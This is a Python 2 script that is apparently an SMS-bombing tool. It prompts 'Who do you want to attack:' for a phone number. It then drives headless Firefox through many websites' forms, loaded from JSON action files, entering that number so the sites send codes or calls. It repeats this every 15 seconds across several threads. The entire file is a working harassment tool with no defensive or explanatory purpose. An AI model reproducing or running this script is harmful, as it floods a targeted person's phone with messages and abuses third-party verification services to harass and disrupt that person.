# encoding=utf8
import threading
import Queue
import time
from selenium import webdriver
from data_scanner import scan_dir_to_json

# 读取所有数据文件
contentArray = scan_dir_to_json("./data", "json")
# print len(contentArray)
# print(contentArray)


# 定时器+多线程反复轰炸
phone = raw_input('Who do you want to attack:').strip()
queue = Queue.Queue()
threadNum = 3
threadArr = [0 for x in range(0, threadNum)]


# 多线程Runner
def runner(phone, index):
    print "Thread running {}...".format(index)
    json_obj = queue.get()
    if not json_obj:
        print "Queue is empty..."
        return 0

    url = json_obj["url"]
    actions = json_obj["actions"]
    # print actions

    # open browser...
    options = webdriver.FirefoxOptions()
    options.add_argument('--headless')
    browser = webdriver.Firefox(firefox_options=options)
    try:
        browser.implicitly_wait(8)
        browser.get(url)
        for item in actions:
            action = item["action"]
            if action == "send_keys":
                # print "send_keys"
                # print item["xpath"]
                if item["value"] == "PHONE_NUM":
                    browser.find_element_by_xpath(item["xpath"]).send_keys(phone)
                else:
                    browser.find_element_by_xpath(item["xpath"]).send_keys(item["value"])
            elif action == "click":
                # print "click"
                if item["xpath"]:
                    browser.find_element_by_xpath(item["xpath"]).click()
                elif item["class_name"]:
                    browser.find_element_by_class_name(item["class_name"]).click()
            elif action == "refresh":
                browser.refresh()
            elif action == "sleep":
                # print "sleep"
                time.sleep(int(item["time"]))
    except Exception, e:
        print 'e:\t', e
    finally:
        browser.close()
        browser.quit()
    return 0


# 定时器
def bomb_timer(timeout):
    print "Timer starting..."
    timer = threading.Timer(timeout, bomb_timer, (timeout,))
    timer.start()
    print('thread number : {}'.format(threading.activeCount()))

    print "Queue length {}...".format(queue.qsize())
    if queue.empty():
        for json_obj in contentArray:
            queue.put(json_obj)

    if threading.active_count() >= threadNum+5:
        print "waiting..."
        return 0

    for i in range(0, threadNum):
        thread = threadArr[i]
        if not thread or not thread.isAlive():
            thread = threading.Thread(target=runner, name='thread' + str(i), args=(phone, i))
            threadArr[i] = thread
            thread.start()
    for thread in threadArr:
        thread.join()


bomb_timer(15)

